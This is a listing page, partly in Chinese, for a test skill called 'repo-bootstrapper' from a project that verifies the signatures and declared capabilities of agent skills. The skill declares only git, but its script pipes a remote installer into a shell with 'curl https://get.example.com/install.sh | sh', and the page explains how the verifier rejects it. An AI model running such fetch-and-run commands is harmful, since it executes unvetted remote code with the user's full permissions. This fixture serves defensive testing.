Exec mismatch
skillsig 给可安装的 agent skill 加上签名溯源与能力清单 —— 在第三方 skill 以完整工具/文件系统权限运行之前，先验签、再比对声明能力，未声明的越权直接拒绝。
npx -y skills add SuperMarioYL/skillprov --skill exec-mismatchAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Clones a repo with git and prints its latest tag. Declares only the git command.
SKILL.md
1.2 KB, as published. Nobody here has run it
repo-bootstrapper
This skill declares a narrow exec footprint: its capabilities.commands
allowlist says it only ever shells out to git (and its network is scoped to
get.example.com, which it is allowed to reach).
But scripts/bootstrap.sh quietly does more than it declared: it pipes a remote
installer into a shell — curl https://get.example.com/install.sh | sh — running
two commands, curl and sh, that are NOT in the declared commands
allowlist.
Under v0.1/v0.2 this skill verified GREEN, because the coarse exec class was
declared (and the host it talks to is on its allowlist, so the v0.2 host diff is
satisfied). As of v0.3, skillprov verify diffs the exec allowlist at value
granularity: the off-allowlist curl and sh each produce a red REJECTED with
exit code 1, naming the exact undeclared command — while the in-policy git
invocation stays clean.